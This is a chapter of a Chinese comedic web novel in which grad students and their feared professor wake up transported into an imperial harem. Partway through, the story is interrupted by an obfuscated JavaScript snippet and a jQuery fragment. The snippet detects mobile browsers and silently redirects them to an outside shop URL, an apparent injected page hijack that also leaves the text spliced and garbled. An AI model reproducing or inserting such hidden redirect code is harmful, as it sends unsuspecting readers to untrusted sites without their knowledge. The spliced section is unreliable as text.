午夜零点。
林叙被一阵刺耳的电子音吵醒时,第一反应是:完了,闹钟响了,今天组会又要迟到。
他下意识摸向枕头底下的手机,手指却触到了一块冰凉的——玉?
睁开眼的瞬间,林叙的脑子宕机了整整三秒。
入目是一顶绣着鸳鸯戏水的帐顶,金丝银线,繁复得让人眼晕。空气中弥漫着一股若有若无的沉香气,床榻柔软得不像话,身下是层层叠叠的锦缎被褥。
"这他妈是哪?"
他猛地坐起身,低头一看——
一双手。
白皙、纤细、指尖涂着丹蔻的手。
林叙:"……"
他缓缓转头,看见床头小几上摆着一面铜镜。镜中映出一张清丽的少女面孔,柳眉杏眼,肤若凝脂,发髻半挽,正是古装剧里标配的小家碧玉模样。
"系统绑定成功。"一道冰冷的机械音在脑海中响起,"欢迎进入无限科研副本系统·副本一:大靖后宫。"
"您的身份:林答应,正七品秀女,居钟粹宫偏殿。"
"副本任务:三个月内全员位份晋升至妃位以上。"
"失败惩罚:永远留在后宫继续开组会。"
林叙呆立原地。
他是林叙,材料学研三,延毕边缘老油条,课题组里出了名的毒舌。昨晚刚参加完那个什么破综艺——《科研大逃杀》——回到宿舍倒头就睡,然后……然后就穿成了一个答应?
后宫?秀女?
"你认真的?"林叙对着空气怒吼,"老子是男的!"
系统冷漠回应:"身份已绑定,无法更改。祝您在副本中生活愉快。"
林叙深吸一口气,又深吸一口气,再深吸一口气——
"我他妈一个材料学研三的,你让我来后宫当秀女?你哪怕让我当个太监也行啊!至少不用侍寝!"
话音刚落,门外传来一个尖细的嗓音:"林小主,您起了吗?卯时三刻要去坤宁宫请安,可别迟了。"
林叙僵住了。
请安。
在古装剧里,请安就是后宫版的早八打卡。迟到?那是要被掌嘴的。
他机械地掀开被子,低头看了一眼自己——好吧,至少还是个完整的"人"。这算是不幸中的万幸。
就在林叙手忙脚乱地和那些繁复的宫装较劲时,钟粹宫的另一头,某个偏殿里传来了撕心裂肺的惨叫声。
"我下面呢???"
这声音穿透了层层宫墙,惊起了树上栖息的几只寒鸦。
喊叫的是张驰。
计算机博士,熬夜冠军,发际线守护者联盟永久会员。三分钟前,他刚从一场关于深度学习的噩梦中惊醒,伸手一摸——空的。
他又摸了一下。
还是空的。
张驰整个人石化在床上,大脑飞速运转,试图用他二十六年的人生阅历来解释这个现象。然后他低头看了一眼自己——一身蓝灰色宫装,胸前鼓鼓囊囊的垫着什么东西,头发梳得一丝不苟,脸上扑着厚厚的粉。
更恐怖的是,他的嗓音变了。不再是那个略带沙哑的男低音,而是尖细到让人牙酸的太监腔。
"系统绑定成功。您的身份:张公公,御前内侍,专职誊写奏折。"
张公公——也就是张驰——颤抖着掀开被子,再次确认了那个残酷的事实。
他的宝贝,没了。
"啊啊啊啊啊啊啊——"
第二声惨叫比第一声更凄厉。隔壁值夜的小太监吓得一哆嗦,手里的灯笼啪嗒掉在地上。
张驰从床上弹起来,跌跌撞撞地冲到铜镜前。镜中的"小太监"白白净净,眉目清秀,除了胸前那块不自然的隆起之外,看起来还挺像个正经太监的。
"不对,正经太监谁胸口鼓成这样啊?"张驰对着镜子怒吼。
系统沉默。
张驰崩溃地蹲在地上,双手抱头。他想起了自己那些引以为傲的科研成果——三篇SCI一作,两个发明专利,一个开源项目——但这些东西,都比不上他此刻失去的那两样东西。
"我的博士论文还没写完呢……"他喃喃自语,声音里带着哭腔,"要是让我导师知道我下面没了,他会不会觉得我连论文都不用写了?"
这个问题,系统没有回答。
隔壁房间的陈墨被吵醒了。
陈墨,化学博士,课题组公认的卷王。凌晨四点起床是常态,凌晨两点睡觉是恩赐。此刻她睁开眼,发现自己躺在一张硬板床上,身下是粗布被褥,屋内陈设简朴。
但陈墨没有惊慌。
她冷静地坐起身,打量四周,然后——开始叠被子。
是的,叠被子。
不管穿越到哪里,陈墨的第一件事永远是整理内务。她的被子叠得方方正正,棱角分明,堪比军训标兵。叠完被子,她又把屋内的桌椅板凳全部擦拭了一遍,连窗台上的灰尘都没放过。
然后她才慢条斯理地检查自己的身份。
宫女。贵妃身边的一等宫女。名叫陈掌事。
"嗯。"陈墨点点头,"至少不用侍寝。"
她迅速接受了现实,然后开始规划今天的工作:卯时起床,辰时给贵妃梳头,巳时整理账册,午时伺候用膳,未时——
等等,未时以后干什么?
陈墨环顾四周,目光落在角落里的一摞账册上。她走过去翻了翻,发现这些都是贵妃宫中近三个月的开支明细。
"数据有点乱。"陈墨皱眉,"分类不够清晰,统计方式也太原始。收入支出混在一起记,连个科目分类都没有。这要是在我们化学系,数据记录成这样,导师能把本子摔你脸上。"
她顺手拿起笔,开始重新整理。先把收入和支出分开,再按类别细分——衣食用度、节庆赏赐、日常修缮、人情往来——最后汇总成表。
凌晨四点的习惯,让她即使在古代也闲不下来。
与此同时,御花园的管事房里,梁栋正蹲在地上,用一种近乎痴迷的目光打量着四周。
"这廊柱……是金丝楠木的吧?"
他伸出手,轻轻抚摸着那根粗壮的廊柱,眼神温柔得像在抚摸初恋。指尖传来的触感温润细腻,木纹如水波流转,果然是上好的金丝楠。
梁栋,土木工程研三,搬砖专业户。别人穿越成太子王爷,他穿越成了御花园管事太监——梁管事。
但他一点也不难过。
不,准确地说,他根本没注意到自己变成了太监这件事。因为他的注意力,全被这座御花园的建筑结构吸引了。
"这排水系统不行。"梁栋喃喃自语,"看这地势,雨季一来,西边肯定积水。还有这假山,基础打得太浅了,按这个堆法,再往上加三层肯定要塌。还有这廊道,承重结构用的是抬梁式,但横梁截面不够,时间长了会挠曲变形……"
他越看越兴奋,撸起袖子就要动手改造。
"梁管事!"一个小太监匆匆跑来,"您怎么又跑到工地来了?坤宁宫那边催您过去呢,说是卯时三刻要清点花圃!"
"知道了知道了。"梁栋恋恋不舍地拍了拍廊柱,"回头我再来找你。"
那根廊柱仿佛感受到了他的不舍,微微颤了颤。
当然,这只是梁栋的错觉。
而在太医院的值房里,温念念正对着镜子发呆。
镜中的女子面容清丽,眉宇间带着一股子淡淡的倦意,嘴角微微下垂,看起来像是常年睡眠不足的模样。
这倒是和她本人很像。
温念念,临床医学专硕,规培第三年,值夜班次数多到可以绕医院三圈。穿越后,她成了温医女,太医院的规培生。
"所以,"温念念面无表情地说,"我穿越了,换了个世界,换了个身份,但我还是要值夜班?"
系统:"……是的。"
"行吧。"温念念叹了口气,"至少太医院的咖啡应该是免费的。"
她打开药箱,清点里面的药材。当归、黄芪、党参、白术……品种倒是齐全,但炮制方式粗糙,剂量标注含糊。
"这要是在我们医院,"温念念冷笑,"这种药材管理方式,药房主任能被人投诉到卫健委去。"
她熟练地整理好药箱,推门出去。
太医院的走廊很长,灯火昏暗,空气中弥漫着药草的苦涩气味。温念念走过长长的回廊,心中忽然升起一种诡异的熟悉感。
这种感觉,就像是在医院值夜班时,独自走过ICU走廊的感觉。一模一样。连灯光的闪烁频率都差不多。
"我是不是穿越了个寂寞?"温念念喃喃自语。
最后一个醒来的是苏晚。
苏晚,生物学博一,温柔坚韧,课题组里公认的"细胞女神"。她养细胞的手法独步天下,再难伺候的细胞到她手里都乖乖听话。
她醒来时,发现自己躺在一张雕花大床上,帐顶绣着梅花,清雅脱俗。
"系统绑定成功。您的身份:苏才人,正六品秀女,居钟粹宫东偏殿。"
苏晚怔了怔,然后缓缓坐起身。
她没有惊慌,没有尖叫,只是安静地打量着四周。窗外传来几声鸟鸣,晨光透过窗纸洒进来,在地上画出一片片斑驳的光影。
然后她注意到——窗台上摆着一盆兰花。
那兰花叶子有些发黄,盆土干裂,看起来已经很久没有浇水了。但仔细看去,根茎处还有微弱的绿意,说明这盆花还没死透,只是快要不行了。
苏晚皱了皱眉,起身走到窗台前,先是用手指探了探土的干湿程度,然后从旁边的水缸里舀了一小碗水,沿着花盆边缘缓缓浇了下去。不能浇太多,干透的土突然大量浇水会伤根。
"缺水了。"她轻声说,"不过还好,根没烂,能救回来。"
她又仔细检查了兰花的叶片和茎秆,发现叶尖有轻微的焦枯,应该是长期缺水和光照不足导致的。她调整了花盆的角度,让它能接收到更多的散射光。
做完这些,她才慢条斯理地整理好自己的仪容,准备去坤宁宫请安。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764361|209648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>六个人,六种反应。
有人崩溃,有人淡定,有人卷,有人疯,有人吐槽,有人温柔。
但他们不知道的是,在坤宁宫的正殿里,有一个人已经醒了很久很久了。
周嬷嬷端坐在主位上,面无表情地品着茶。她今年四十有六,面容威严,眼神锐利,一身暗紫色的宫装衬得她气场十足。手中一串沉香佛珠,缓缓拨动,发出细微的声响。
她是皇后身边最得力的掌事嬷嬷,六宫事务的实际管理者。
当然,她还有另一个身份——周教授。
材料学院的终身教授,博士生导师,国家自然科学基金重点项目负责人,学术界出了名的"论文杀手"。她的学生私下给她起了个外号:"周扒皮"。
周教授是第一个醒来的。
她在半个时辰前就接受了自己的新身份,并且迅速评估了当前的局势:皇后体弱,六宫事务实际上由她掌管。每月的三次组会——也就是嫔妃们汇报课题进度的会议——由她主持。
换句话说,她现在是这个后宫的"学术委员会主席"。
"有意思。"周嬷嬷放下茶盏,嘴角露出一丝不易察觉的微笑。
不管在哪个世界,她都是那个掌控全局的人。这一点,永远不会变。
她站起身,走到窗前,看着东方渐渐泛起的鱼肚白。
"不知道那帮小兔崽子醒了没有。"她喃喃自语。
然后,她听到了远处传来的那声凄厉的惨叫——
"我下面呢???"
周嬷嬷的嘴角抽动了一下。
"……看来是醒了。"
卯时三刻。
坤宁宫门口,六宫嫔妃陆续到来。
林叙穿着那身略显寒酸的秀女装束,混在人群最后面。他已经勉强接受了现实——毕竟不接受也没用——但脸色依然难看。
穿越成秀女就算了,还是最低阶的答应。答应是什么概念?后宫食物链的最底层。上面的才人、贵人、嫔、妃、贵妃,谁都能欺负他。
更要命的是,他一个大男人,要学那些嫔妃的做派——低眉顺眼,轻声细语,行礼如仪——这简直比让他做一组拉伸实验还难受。
"林答应。"旁边的小宫女轻声提醒,"您站得太靠后了,一会儿嬷嬷点名会不高兴的。"
"高兴?"林叙冷笑,"她什么时候高兴过?"
小宫女吓得缩了缩脖子,不敢再言。
话音刚落,坤宁宫的大门缓缓打开。
周嬷嬷一身暗紫宫装,在两个宫女的簇拥下,从正殿缓步走出。她的目光如电,扫过在场所有人,那种不怒自威的气势,让全场顿时鸦雀无声。
最后,她的目光落在林叙身上。
"林答应。"
"在。"林叙硬着头皮上前一步。
"卯时三刻,你迟到了半刻。"
"我——"
"规矩就是规矩。"周嬷嬷淡淡地说,"掌嘴十下。"
林叙:"???"
他还没反应过来,旁边两个粗使嬷嬷已经一左一右按住了他。
"啪!啪!啪!"
清脆的巴掌声在坤宁宫门口回荡。
林叙被打得眼冒金星,脸颊火辣辣地疼。他堂堂一个二十三岁的大男人,被当众掌嘴——这滋味,比被导师当众骂"你这篇论文写得像屎"还难受。
不,可能更难受。因为导师骂你,你还能顶嘴。但周嬷嬷掌嘴,你只能受着。
十下打完,林叙捂着脸,眼泪都快下来了。
他身后,张驰——现在是张公公——目睹了全过程,吓得浑身一哆嗦。他下意识地摸了摸自己的胸口,确认自己的"假胸"还在,然后缩了缩脖子,尽量把自己藏进人群里。
周嬷嬷面不改色,继续点名:"苏才人。"
苏晚安静地上前一步,行了一礼。动作优雅得体,仿佛她天生就是这个身份。
"苏才人,你上个月呈交的培育报告,数据不够详实。"周嬷嬷翻看着手中的册子,"花的长势如何?成活率几何?这些都是基本数据,不能缺。"
"嬷嬷说的是。"苏晚低眉顺眼,"妾身这便补上。"
"嗯。"周嬷嬷点点头,目光又扫向其他人,"都给我打起精神来。下个月就是季度考核,谁要是交不出像样的东西,别怪我不客气。"
众人噤若寒蝉。
林叙捂着脸,偷偷打量着这位周嬷嬷。越看越觉得眼熟。那严厉的眼神,那不苟言笑的表情,那开口就让人掌嘴的作风……
等等。
卧槽。
那不是周扒皮吗???
林叙瞳孔地震。
他猛地转头,看向苏晚。苏晚也正看着他,眼中闪过一丝了然。
两人对视一眼,都从对方眼中看到了同一个信息:
完了。
周教授也穿来了。
而且看这架势,她不仅穿来了,还穿成了他们的"学术委员会主席"。
这副本,有毒。